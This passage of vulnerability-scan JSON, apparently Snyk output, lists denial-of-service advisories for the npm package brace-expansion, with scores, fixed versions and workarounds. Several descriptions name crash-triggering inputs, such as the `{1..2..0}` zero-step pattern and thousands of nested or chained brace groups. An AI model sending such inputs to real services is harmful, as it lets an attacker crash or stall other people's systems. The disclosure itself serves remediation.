"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
